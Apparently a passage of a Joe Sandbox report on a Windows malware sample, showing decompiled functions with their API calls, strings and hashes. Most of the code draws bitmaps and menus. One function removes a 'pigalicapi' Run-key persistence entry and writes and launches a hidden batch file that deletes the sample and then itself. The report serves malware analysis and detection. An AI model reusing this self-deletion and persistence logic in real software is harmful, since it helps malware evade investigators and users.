						_v48 = 0x10001;
						_v44 = 0;
						_v40 = 0;
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v60.bmiColors = 0;
						_v16 = 0xffffff;
						_t98 = CreateDIBSection(_t206,  &_v60, 0,  &_v136, 0, 0);
						_v116 = _t98;
						if(_t98 != 0) {
							_t207 = SelectObject;
							_v124 = SelectObject(_t206, _t98);
							_t202 = CreateCompatibleDC( *_t201);
							_v84 = CreateCompatibleDC( *_v96);
							_v104 = CreateCompatibleBitmap(_v80, _a16, _t155);
							_v108 = CreateBitmap(_a16, _t155, 1, 1, 0);
							_v128 = SelectObject(_t202, _v104);
							_v112 = SelectObject(_v84, _v108);
							BitBlt(_t202, 0, 0, _a16, _t155, _v80, 0, 0, 0xcc0020);
							SetBkColor(_t202, 0x808080);
							BitBlt(_v84, 0, 0, _a16, _t155, _t202, 0, 0, 0xcc0020);
							BitBlt(_t202, 0, 0, _a16, _t155, _v84, 0, 0, 0x660046);
							BitBlt(_v88, 0, 0, _a16, _t155, _t202, 0, 0, 0xcc0020);
							SelectObject(_t202, _v128);
							SelectObject(_v84, _v112);
							_t119 = _v108;
							if(_t119 != 0) {
								DeleteObject(_t119);
							}
							_t120 = _v104;
							if(_t120 != 0) {
								DeleteObject(_t120);
							}
							_t121 = _v84;
							if(_t121 != 0) {
								DeleteDC(_t121);
							}
							if(_t202 != 0) {
								DeleteDC(_t202);
							}
							_t194 = _v132;
							_t203 = _v96;
							if(_t194 != 0) {
								_t141 = _a12;
								_t178 = _a8;
								_v76.top = _t141;
								_v76.left = _t178;
								_v76.bottom = _t141 + _t155;
								_v76.right = _t178 + _a16;
								FillRect( *_t203,  &_v76, _t194);
							}
							_v100 = SelectObject( *_t203, _v100);
							BitBlt( *_t203, _a8 + 1, _a12 + 1, _a16, _t155, _v88, 0, 0, 0xb8074a);
							SelectObject( *_t203, _v120);
							BitBlt( *_t203, _a8, _a12, _a16, _t155, _v88, 0, 0, 0xb8074a);
							_t200 =  *_t203;
							SelectObject( *_t203, _v100);
							_t156 = _v88;
							SelectObject(_t156, _v124);
							_t204 = _v80;
							SelectObject(_t204, 0);
							if(_v92 == 0) {
								DeleteDC(_t204);
							}
							DeleteObject(_v116);
							DeleteDC(_t156);
							return E001059E6(1, _t156, _v12 ^ _t208, _t200, _t204, _t207);
						} else {
							_t205 = DeleteDC;
							if(_v92 == _t98) {
								DeleteDC(_v80);
							}
							DeleteDC(_t206);
							return E001059E6(0, _t155, _v12 ^ _t208, _t186, _t205, _t206);
						}
					} else {
						if(_v92 == 0) {
							DeleteDC(_v80);
						}
						goto L6;
					}
				}
			}

0x00103960
0x00103969
0x00103970
0x00103973
0x00103977
0x0010397c
0x0010397f
0x00103985
0x00103988
0x0010398b
0x0010398e
0x00103993
0x00103995
0x00103998
0x00103998
0x0010399e
0x001039a3
0x001039c8
0x001039da
0x001039a5
0x001039ae
0x001039b2
0x001039b7
0x001039e9
0x001039ed
0x001039f2
0x001039f9
0x001039fc
0x00103a03
0x00103a06
0x00103a09
0x00103a0c
0x00103a0f
0x00103a12
0x00103a15
0x00103a18
0x00103a1f
0x00103a25
0x00103a2a
0x00103a57
0x00103a62
0x00103a6e
0x00103a82
0x00103a91
0x00103aa4
0x00103aac
0x00103acd
0x00103ad0
0x00103adc
0x00103af9
0x00103b16
0x00103b33
0x00103b3e
0x00103b48
0x00103b4a
0x00103b4f
0x00103b52
0x00103b52
0x00103b58
0x00103b5d
0x00103b60
0x00103b60
0x00103b66
0x00103b6b
0x00103b6e
0x00103b6e
0x00103b76
0x00103b79
0x00103b79
0x00103b7f
0x00103b82
0x00103b87
0x00103b89
0x00103b8c
0x00103b8f
0x00103b92
0x00103b9a
0x00103ba1
0x00103ba8
0x00103ba8
0x00103bcb
0x00103bd9
0x00103be6
0x00103c05
0x00103c0e
0x00103c12
0x00103c17
0x00103c1c
0x00103c1e
0x00103c24
0x00103c2a
0x00103c2d
0x00103c2d
0x00103c37
0x00103c3e
0x00103c59
0x00103a2c
0x00103a2c
0x00103a35
0x00103a3b
0x00103a3b
0x00103a3e
0x00103a52
0x00103a52
0x001039b9
0x001039bc
0x001039c2
0x001039c2
0x00000000
0x001039bc
0x001039b7

APIs

CreateCompatibleDC.GDI32(00000000), ref: 00103998
CreateCompatibleDC.GDI32(?), ref: 001039A8
DeleteDC.GDI32(?), ref: 001039C2
CreateDIBSection.GDI32(00000000,00102057,00000000,?,00000000,00000000), ref: 00103A1F
DeleteDC.GDI32(?), ref: 00103A3B
DeleteDC.GDI32(00000000), ref: 00103A3E
SelectObject.GDI32(00000000,00000000), ref: 00103A5D
CreateCompatibleDC.GDI32 ref: 00103A65
CreateCompatibleDC.GDI32(00000000), ref: 00103A73
CreateCompatibleBitmap.GDI32(?,00000000,?), ref: 00103A85
CreateBitmap.GDI32(00000000,?,00000001,00000001,00000000), ref: 00103A99
SelectObject.GDI32(00000000,?), ref: 00103AA7
SelectObject.GDI32(?,?), ref: 00103AB4
BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00CC0020), ref: 00103AD0
SetBkColor.GDI32(00000000,00808080), ref: 00103ADC
BitBlt.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00CC0020), ref: 00103AF9
BitBlt.GDI32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00660046), ref: 00103B16
BitBlt.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00CC0020), ref: 00103B33
SelectObject.GDI32(00000000,?), ref: 00103B3E
SelectObject.GDI32(?,?), ref: 00103B48
DeleteObject.GDI32(?), ref: 00103B52
DeleteObject.GDI32(?), ref: 00103B60
DeleteDC.GDI32(?), ref: 00103B6E
DeleteDC.GDI32(00000000), ref: 00103B79
FillRect.USER32 ref: 00103BA8
SelectObject.GDI32(?,?), ref: 00103BB5
BitBlt.GDI32(00000000,01000000,00000001,00000000,?,?,00000000,00000000,00B8074A), ref: 00103BD9
SelectObject.GDI32(?,?), ref: 00103BE6
BitBlt.GDI32(00000000,00FFFFFF,00000000,00000000,?,?,00000000,00000000,00B8074A), ref: 00103C05
SelectObject.GDI32(?,?), ref: 00103C12
SelectObject.GDI32(?,?), ref: 00103C1C
SelectObject.GDI32(?,00000000), ref: 00103C24
DeleteDC.GDI32(?), ref: 00103C2D
DeleteObject.GDI32(?), ref: 00103C37
DeleteDC.GDI32(?), ref: 00103C3E

Strings

(, xrefs: 001039F2

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Object$DeleteSelect$Create$Compatible$Bitmap$ColorFillRectSection
String ID: (
API String ID: 1654306582-3887548279
Opcode ID: 2b5eec4d158bf39678a48da1d62a98b4bd16081765a52d48f726ffa37c66de58
Instruction ID: c138489bb2b7439e28b781540541f2714d0ddf7ef1485d34a47c492cc532504a
Opcode Fuzzy Hash: 2b5eec4d158bf39678a48da1d62a98b4bd16081765a52d48f726ffa37c66de58
Instruction Fuzzy Hash: 7FB1A9B5E00209AFDB14DFA5DD85FAEB7B9FB4C740F20811AF915E7280D7B4A9418B60

Uniqueness

Uniqueness Score: -1.00%

Function 040074A0 Relevance: 56.2, APIs: 24, Strings: 8, Instructions: 195
stringregistryfileCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E040074A0() {
				char _v524;
				CHAR* _v528;
				void* _v532;
				void* _v536;
				void* _v540;
				char _v1060;
				char _v1580;
				char _v2364;
				long _v2368;
				struct _PROCESS_INFORMATION _v2384;
				long _v2388;
				struct _STARTUPINFOA _v2460;
				void* _t86;
				void* _t121;
				void* _t123;
				void* _t124;

				E04007D20(E04007D20( &_v2364,  &_v2364, 0, 0x30c),  &_v1060, 0, 0x208);
				_t123 = _t121 + 0x18;
				 *0x4014370 = 1;
				Sleep(0x3e8);
				if(( *0x4014362 & 0x000000ff) != 0) {
					_v2368 = 0x207;
					if(( *0x401435a & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v1060, 0x207);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v1060,  &_v2368);
					}
					lstrcatA( &_v1060, "\\");
					lstrcatA( &_v1060, "pigalicapi");
					lstrcatA( &_v1060, ".exe");
				} else {
					GetModuleFileNameA(0,  &_v1060, 0x207);
				}
				SetFileAttributesA( &_v1060, 0x80);
				wnsprintfA( &_v2364, 0x30b, ":repeat\r\ndel %s\r\nif exist %s goto :repeat\r\ndel %%0",  &_v1060,  &_v1060);
				_t124 = _t123 + 0x14;
				if( *0x401436c != 0) {
					_t86 =  *0x401436c; // 0x2e4
					TerminateThread(_t86, 1);
				}
				_v528 = "software\\microsoft\\windows\\currentversion\\run";
				_v532 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v532 = 0x80000002;
				}
				_v536 = 0;
				if(RegOpenKeyExA(_v532, _v528, 0, 2,  &_v536) == 0) {
					RegDeleteValueA(_v536, "pigalicapi");
					RegCloseKey(_v536);
				}
				if(( *0x401435b & 0x000000ff) != 0) {
					E04005E30(1);
					_t124 = _t124 + 4;
				}
				GetEnvironmentVariableA("TEMP",  &_v1580, 0x104);
				GetTempFileNameA( &_v1580, "slf", GetTickCount() % 0xffff,  &_v524);
				lstrcatA( &_v524, ".bat");
				_t71 = CreateFileA( &_v524, 0x40000000, 1, 0, 2, 0, 0);
				_v540 = _t71;
				if(_v540 != 0xffffffff) {
					_v2388 = 0;
					WriteFile(_v540,  &_v2364, lstrlenA( &_v2364),  &_v2388, 0);
					E04007D20(E04007D20(CloseHandle(_v540),  &_v2384, 0, 0x10),  &_v2460, 0, 0x44);
					_v2460.cb = 0x44;
					_v2460.dwFlags = _v2460.dwFlags | 0x00000001;
					_v2460.wShowWindow = 0;
					if(CreateProcessA(0,  &_v524, 0, 0, 0, 0, 0, 0,  &_v2460,  &_v2384) != 0) {
						_t71 = CloseHandle(_v2384.hThread);
					}
					ExitProcess(0);
				}
				return _t71;
			}

0x040074cd
0x040074d2
0x040074d5
0x040074e4
0x040074f3
0x0400750b
0x0400751e
0x04007547
0x04007520
0x0400752e
0x0400752e
0x04007559
0x0400756b
0x0400757d
0x040074f5
0x04007503
0x04007503
0x0400758f
0x040075b4
0x040075ba
0x040075c4
0x040075c8
0x040075ce
0x040075ce
0x040075d4
0x040075de
0x040075f1
0x040075f3
0x040075f3
0x040075fd
0x04007628
0x04007636
0x04007643
0x04007643
0x04007652
0x04007656
0x0400765b
0x0400765b
0x0400766f
0x04007698
0x040076aa
0x040076c6
0x040076cc
0x040076d9
0x040076df
0x0400770e
0x0400773f
0x04007747
0x0400775a
0x04007762
0x04007794
0x0400779d
0x0400779d
0x040077a5
0x040077a5
0x040077ae

APIs

Sleep.KERNEL32(000003E8), ref: 040074E4
GetModuleFileNameA.KERNEL32(00000000,?,00000207), ref: 04007503
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 0400752E
lstrcatA.KERNEL32(?,0400C650), ref: 04007559
lstrcatA.KERNEL32(?,pigalicapi), ref: 0400756B
lstrcatA.KERNEL32(?,.exe), ref: 0400757D
SetFileAttributesA.KERNEL32(?,00000080), ref: 0400758F
wnsprintfA.SHLWAPI ref: 040075B4
TerminateThread.KERNEL32(000002E4,00000001), ref: 040075CE
RegOpenKeyExA.ADVAPI32(80000001,0400C690,00000000,00000002,00000000), ref: 04007620
RegDeleteValueA.ADVAPI32(00000000,pigalicapi), ref: 04007636
RegCloseKey.ADVAPI32(00000000), ref: 04007643
GetEnvironmentVariableA.KERNEL32(TEMP,?,00000104), ref: 0400766F
GetTickCount.KERNEL32 ref: 0400767C
GetTempFileNameA.KERNEL32(?,slf,00000000), ref: 04007698
lstrcatA.KERNEL32(?,.bat), ref: 040076AA
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 040076C6
lstrlenA.KERNEL32(?,00000000,00000000), ref: 040076F9
WriteFile.KERNEL32(000000FF,?,00000000), ref: 0400770E
CloseHandle.KERNEL32(000000FF), ref: 0400771B
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 0400778C
CloseHandle.KERNEL32(?), ref: 0400779D
ExitProcess.KERNEL32 ref: 040077A5

Strings

.exe, xrefs: 04007571
TEMP, xrefs: 0400766A
.bat, xrefs: 0400769E
:repeatdel %sif exist %s goto :repeatdel %%0, xrefs: 040075A3
D, xrefs: 04007747
slf, xrefs: 0400768C
pigalicapi, xrefs: 0400755F, 0400762A
USERPROFILE, xrefs: 04007542

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: File$lstrcat$Close$CreateHandleNameProcess$AttributesCountDeleteDirectoryEnvironmentExitModuleOpenProfileSleepTempTerminateThreadTickUsersValueVariableWritelstrlenwnsprintf
String ID: .bat$.exe$:repeatdel %sif exist %s goto :repeatdel %%0$D$TEMP$USERPROFILE$pigalicapi$slf
API String ID: 3221898725-336785456
Opcode ID: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction ID: 33d1a80e31bd16fda39fb1d5e61c33b6d2d8e7faa3bd40571536c86a9d597677
Opcode Fuzzy Hash: fa5edaca191c21db1bfd21e4a2ba9e4dafc3ba9ee2ebd150ac9fab347fea4d6a
Instruction Fuzzy Hash: 277134B1A44318ABF7649F60DC49FEA7778EB44705F448698B209B60C1DBBCAA84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00101DE0 Relevance: 47.6, APIs: 26, Strings: 1, Instructions: 392
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00101DE0(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				struct tagRECT _v24;
				struct tagRECT _v40;
				struct tagRECT _v56;
				struct tagRECT _v72;
				signed int _v76;
				struct HDC__* _v80;
				intOrPtr _v84;
				int _v88;
				struct HBRUSH__* _v92;
				struct HBRUSH__* _v96;
				signed int _v100;
				intOrPtr _v104;
				long _v108;
				long _v112;
				char _v116;
				struct tagMENUITEMINFOA _v164;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t167;
				intOrPtr _t169;
				signed int _t170;
				long _t173;
				struct HBRUSH__* _t182;
				struct HBRUSH__* _t185;
				signed int _t190;
				long _t193;
				long _t194;
				int _t202;
				void* _t205;
				struct HBRUSH__* _t227;
				struct HBRUSH__* _t228;
				int _t250;
				void* _t257;
				long _t258;
				int _t265;
				struct HBRUSH__* _t268;
				intOrPtr _t303;
				struct HBRUSH__* _t305;
				int _t311;
				intOrPtr _t325;
				intOrPtr _t326;
				int _t330;
				struct HBRUSH__* _t331;
				void* _t332;
				struct HBRUSH__* _t336;
				struct HBRUSH__* _t337;
				void* _t340;
				struct HDC__* _t341;
				struct HBRUSH__* _t342;
				intOrPtr _t346;
				signed int _t347;

				_t167 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t167 ^ _t347;
				_t257 = __edx;
				_t169 =  *((intOrPtr*)(__edx + 0x2c));
				_t341 =  *(__edx + 0x18);
				_t326 = __ecx;
				_v84 = __ecx;
				_v104 = _t169;
				_v80 = _t341;
				if(( *(_t169 + 8) & 0x00000800) == 0) {
					_t170 =  *(__edx + 0x10);
					_v92 = _t170 & 0x00000002;
					_v76 = _t170 & 0x00000001;
					_v96 = _t170 & 0x00000008;
					_v100 = 0;
					__eflags =  *((intOrPtr*)(__edx + 8)) - 0xffff;
					if( *((intOrPtr*)(__edx + 8)) == 0xffff) {
						_v76 = 0;
					}
					_t173 =  *(_t257 + 0x1c);
					_t265 =  *((intOrPtr*)(_t257 + 0x20));
					_v24.left = _t173;
					_v24.right =  *((intOrPtr*)(_t326 + 0x98)) + _t173;
					_t303 =  *((intOrPtr*)(_t326 + 0x9c)) + _t265;
					_v24.bottom = _t303;
					asm("cdq");
					_v24.top = _t265;
					OffsetRect( &_v24, 0,  *(_t257 + 0x28) - _t265 - _t303 + _t265 - _t303 >> 1);
					_t182 =  *(_v104 + 0x10);
					_v88 = _t182;
					__eflags = _t182;
					if(_t182 < 0) {
						E00106820( &_v164, 0, 0x30);
						_v164.cbSize = 0x30;
						_t185 = E000F4890(_t257, _t326, _t341);
						__eflags = _t185;
						if(_t185 != 0) {
							_v164.cbSize = 0x2c;
						}
						_v164.fMask = 0x18;
						GetMenuItemInfoA( *(_t257 + 0x14),  *(_t257 + 8), 0,  &_v164);
						_t305 = _v96;
						_t268 = _v164.hbmpUnchecked;
						__eflags = _t305;
						if(_t305 != 0) {
							L27:
							_t190 = _v164.fType >> 0x00000009 & 0x00000001;
							__eflags = _t305;
							if(_t305 != 0) {
								_t268 = _v164.hbmpChecked;
							}
							_v100 = E00102E10( &_v80,  &_v24, _t326, _v76, _v92, _t190, _t268);
							goto L30;
						} else {
							__eflags = _t268;
							if(_t268 != 0) {
								goto L27;
							}
						}
					} else {
						asm("cdq");
						asm("cdq");
						_v40.right = (_v24.right -  *((intOrPtr*)(_t326 + 0x90)) - _v24.left - _t303 >> 1) + _v24.left;
						_t336 = _v96;
						_v100 = 1;
						_v40.bottom = (_v24.bottom -  *((intOrPtr*)(_t326 + 0x94)) - _v24.top - _t303 >> 1) + _v24.top;
						__eflags = _t336;
						if(_t336 == 0) {
							__eflags = _v92;
							if(_v92 != 0) {
								FillRect(_t341,  &_v24, 5);
								goto L11;
							} else {
								goto L17;
							}
							L36:
							_v56.top =  *((intOrPtr*)(_t257 + 0x20));
							_v56.bottom =  *(_t257 + 0x28);
							_t311 = _v88;
							_v56.left =  *(_t257 + 0x1c) + _t311 + 3;
							_v56.right =  *(_t257 + 0x24) - _t311;
							SetBkMode(_t341, 1);
							_t342 = _v92;
							__eflags = _t342;
							if(_t342 == 0) {
								asm("sbb eax, eax");
								_t202 = ( ~_v76 & 0x00000007) + 7;
								__eflags = _t202;
							} else {
								__eflags = _v76;
								_t202 = (0 | _v76 != 0x00000000) + 0x10;
							}
							_t332 = GetSysColor;
							_t258 = GetSysColor(_t202);
							__eflags = _t342;
							if(_t342 != 0) {
								__eflags = _v76;
								if(_v76 == 0) {
									L42:
									_v40.top = _v56.top;
									_v40.left = _v56.left;
									_v40.right = _v56.right;
									_v40.bottom = _v56.bottom;
									OffsetRect( &_v40, 1, 1);
									E00102C90( *((intOrPtr*)(_v104 + 4)), _v84,  &_v80,  &_v40, GetSysColor(0x14));
								} else {
									__eflags = _t258 - _v108;
									if(_t258 == _v108) {
										goto L42;
									}
								}
							}
							_t205 = E00102C90( *((intOrPtr*)(_v104 + 4)), _v84,  &_v80,  &_v56, _t258);
							__eflags = _v8 ^ _t347;
							return E001059E6(_t205, _t258, _v8 ^ _t347,  &_v80, _t332,  *((intOrPtr*)(_v104 + 4)));
							goto L44;
						} else {
							__eflags = _v76;
							if(_v76 == 0) {
								L8:
								_v112 = SetTextColor(_t341, GetSysColor(0xf));
								_v108 = SetBkColor(_t341, GetSysColor(0x14));
								_t340 =  *(E00103350( &_v116));
								SetBrushOrgEx(_t341, _v24.left, _v24.top, 0);
								FillRect(_t341,  &_v24, _t340);
								SetTextColor(_t341, _v112);
								SetBkColor(_t341, _v108);
								__eflags = _t340;
								if(_t340 != 0) {
									DeleteObject(_t340);
								}
								_t336 = _v96;
							} else {
								__eflags = _v92;
								if(_v92 == 0) {
									L17:
									FillRect(_t341,  &_v24, 5);
								} else {
									goto L8;
								}
							}
						}
						L11:
						__eflags = _v92;
						if(_v92 != 0) {
							__eflags = _t336;
							if(__eflags == 0) {
								_t337 = GetSysColorBrush(4);
							} else {
								_t337 = 0;
							}
							_t227 = GetSysColorBrush(0x10);
							_t228 = GetSysColorBrush(0x14);
							_t346 = _v84;
							E00102D30(_v88, _t346, __eflags,  &_v80, _v88, _t337, _t228, _t227, _v40.right, _v40.bottom);
							_t326 = _t346;
							L30:
							_t341 = _v80;
						} else {
							__eflags = _v76;
							if(_v76 != 0) {
								L14:
								_v72.top = _v24.top;
								__eflags = _t336;
								_t70 = _t336 == 0;
								__eflags = _t70;
								_v72.right = _v24.right;
								_v72.left = _v24;
								_v72.bottom = _v24.bottom;
								DrawEdge(_t341,  &_v72, (0 | _t70) + (0 | _t70) + 2, 0xf);
							} else {
								__eflags = _t336;
								if(_t336 != 0) {
									goto L14;
								}
							}
							ImageList_Draw( *(_v84 + 0x48), _v88, _t341, _v40.right, _v40.bottom, 1);
							_t326 = _v84;
						}
					}
					asm("sbb edi, edi");
					_t330 = ( ~_v76 & 0x00000009) + 4;
					_v88 =  *((intOrPtr*)(_t326 + 0x98));
					_t193 = GetSysColor(_t330);
					__eflags = _v76;
					_v108 = _t193;
					if(_v76 != 0) {
						L33:
						__eflags = _v100;
						_t194 =  *(_t257 + 0x1c);
						_v40.top =  *((intOrPtr*)(_t257 + 0x20));
						_v40.left = _t194;
						_v40.right =  *(_t257 + 0x24);
						_v40.bottom =  *(_t257 + 0x28);
						if(_v100 != 0) {
							_v40.left = _t194 + _v88 + 1;
						}
						_t331 = _t330 + 1;
						__eflags = _t331;
						FillRect(_t341,  &_v40, _t331);
					} else {
						__eflags =  *((intOrPtr*)(_t257 + 0xc)) - 2;
						if( *((intOrPtr*)(_t257 + 0xc)) == 2) {
							goto L33;
						}
					}
					goto L36;
				} else {
					_t325 =  *((intOrPtr*)(__edx + 0x24));
					_v56.left =  *(__edx + 0x1c);
					_t250 =  *(__edx + 0x28);
					_v56.bottom = _t250;
					_v56.right = _t325;
					asm("cdq");
					_v56.top =  *((intOrPtr*)(__edx + 0x20)) + (_t250 -  *((intOrPtr*)(__edx + 0x20)) - _t325 >> 1);
					return E001059E6(DrawEdge(_t341,  &_v56, 6, 2), _t257, _v8 ^ _t347, _t325, _t326, _t341);
				}
				L44:
			}

0x00101de9
0x00101df0
0x00101df5
0x00101df7
0x00101e01
0x00101e05
0x00101e07
0x00101e0a
0x00101e0d
0x00101e10
0x00101e53
0x00101e5b
0x00101e66
0x00101e69
0x00101e73
0x00101e76
0x00101e7a
0x00101e7c
0x00101e7c
0x00101e7f
0x00101e88
0x00101e8d
0x00101e93
0x00101e9e
0x00101ea4
0x00101ea7
0x00101eb3
0x00101eb6
0x00101ebf
0x00101ec2
0x00101ec5
0x00101ec7
0x00102069
0x00102071
0x0010207b
0x00102080
0x00102082
0x00102084
0x00102084
0x0010209f
0x001020a9
0x001020af
0x001020b2
0x001020b8
0x001020ba
0x001020c0
0x001020c9
0x001020cc
0x001020ce
0x001020d0
0x001020d0
0x001020ec
0x00000000
0x001020bc
0x001020bc
0x001020be
0x00000000
0x00000000
0x001020be
0x00101ecd
0x00101ee2
0x00101eec
0x00101ef9
0x00101efc
0x00101eff
0x00101f06
0x00101f09
0x00101f0b
0x00101ff9
0x00101ffd
0x00102015
0x00000000
0x00000000
0x00000000
0x00000000
0x00102153
0x0010215c
0x00102162
0x00102165
0x00102171
0x00102174
0x00102177
0x0010217d
0x00102180
0x00102182
0x00102196
0x0010219b
0x0010219b
0x00102184
0x00102186
0x0010218c
0x0010218c
0x0010219e
0x001021a7
0x001021a9
0x001021ab
0x001021ad
0x001021b1
0x001021b8
0x001021c3
0x001021c6
0x001021d2
0x001021d5
0x001021d8
0x001021f5
0x001021b3
0x001021b3
0x001021b6
0x00000000
0x00000000
0x001021b6
0x001021b1
0x0010220d
0x00102217
0x00102222
0x00000000
0x00101f11
0x00101f11
0x00101f15
0x00101f21
0x00101f35
0x00101f45
0x00101f50
0x00101f5a
0x00101f66
0x00101f71
0x00101f7c
0x00101f82
0x00101f84
0x00101f87
0x00101f87
0x00101f8d
0x00101f17
0x00101f17
0x00101f1b
0x00101fff
0x00102006
0x00000000
0x00000000
0x00000000
0x00101f1b
0x00101f15
0x00101f90
0x00101f90
0x00101f94
0x00102026
0x00102028
0x00102032
0x0010202a
0x0010202a
0x0010202a
0x0010203e
0x00102043
0x00102048
0x00102052
0x00102057
0x001020ef
0x001020ef
0x00101f9a
0x00101f9a
0x00101f9e
0x00101fa4
0x00101fad
0x00101fb2
0x00101fb4
0x00101fb4
0x00101fb9
0x00101fbf
0x00101fc5
0x00101fcf
0x00101fa0
0x00101fa0
0x00101fa2
0x00000000
0x00000000
0x00101fa2
0x00101feb
0x00101ff1
0x00101ff1
0x00101f94
0x001020fd
0x00102102
0x00102106
0x00102109
0x0010210f
0x00102113
0x00102116
0x0010211e
0x0010211e
0x00102125
0x0010212b
0x00102131
0x00102134
0x00102137
0x0010213a
0x00102143
0x00102143
0x00102146
0x00102146
0x0010214d
0x00102118
0x00102118
0x0010211c
0x00000000
0x00000000
0x0010211c
0x00000000
0x00101e12
0x00101e18
0x00101e1b
0x00101e1e
0x00101e21
0x00101e26
0x00101e29
0x00101e39
0x00101e52
0x00101e52
0x00000000

APIs

DrawEdge.USER32(?,?,00000006,00000002), ref: 00101E3C
OffsetRect.USER32(000FC527,00000000,?), ref: 00101EB6
GetSysColor.USER32(0000000F), ref: 00101F29
SetTextColor.GDI32(?,00000000), ref: 00101F2D
GetSysColor.USER32(00000014), ref: 00101F38
SetBkColor.GDI32(?,00000000), ref: 00101F3C
SetBrushOrgEx.GDI32(?,000FC527,?,00000000,?,?,?), ref: 00101F5A
FillRect.USER32 ref: 00101F66
SetTextColor.GDI32(?,?), ref: 00101F71

Strings

,, xrefs: 00102084

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Color$RectText$BrushDrawEdgeFillOffset
String ID: ,
API String ID: 951962733-3772416878
Opcode ID: 55b8a382b433ee6f7dce3daa61e0e63085588c8770930ce5e0d1f3432faeed7e
Instruction ID: 16f8403fd1a419eebaa1d0061ab4a3b62f96d1ec602157b380e506e10722f1a0
Opcode Fuzzy Hash: 55b8a382b433ee6f7dce3daa61e0e63085588c8770930ce5e0d1f3432faeed7e
Instruction Fuzzy Hash: BFE11DB5E002199FDB18CFA8C985AEEB7B5FF88300F158159E909AB384D7B4AD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000F6040 Relevance: 45.8, APIs: 24, Strings: 2, Instructions: 323
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E000F6040(CHAR* __eax, CHAR* _a4, intOrPtr _a8) {
				void* _v5;
				signed int _v6;
				char _v11;
				char _v12;
				CHAR* _v16;
				int _v20;
				void* __edi;
				int _t73;
				CHAR* _t74;
				CHAR* _t75;
				int _t76;
				signed int _t77;
				signed int _t78;
				int _t79;
				signed int _t84;
				void* _t88;
				void* _t102;
				signed int _t104;
				signed int _t105;
				CHAR* _t119;
				CHAR* _t120;
				CHAR* _t121;
				char _t124;
				char _t125;
				intOrPtr _t126;
				char _t132;
				char _t135;
				void* _t143;
				char* _t146;
				intOrPtr _t147;
				void* _t148;
				intOrPtr _t149;
				void* _t150;
				signed int _t152;
				signed int _t153;
				void* _t154;
				signed int _t159;
				intOrPtr _t161;
				void* _t164;
				void* _t165;
				void* _t166;
				signed int _t167;
				void* _t168;

				_t119 = __eax;
				_t73 = lstrlenA(__eax);
				_t147 = _a8;
				if(_t73 >= _t147) {
					 *_a4 = 0;
					_t124 =  *_t119;
					_v5 = 0x5c;
					_t74 = _t119;
					while(_t124 != 0) {
						if(_t124 == 0x2f || _t124 == 0x5c) {
							_v5 = _t124;
						}
						_t74 = CharNextA(_t74);
						_t124 =  *_t74;
					}
					_t125 =  *_t119;
					_v16 = _t119;
					_t75 = _t119;
					while(_t125 != 0) {
						if(_t125 == 0x5c || _t125 == 0x3a || _t125 == 0x2f) {
							_t135 = _t75[1];
							_t146 =  &(_t75[1]);
							if(_t135 != 0 && _t135 != 0x5c && _t135 != 0x2f) {
								_v16 = _t146;
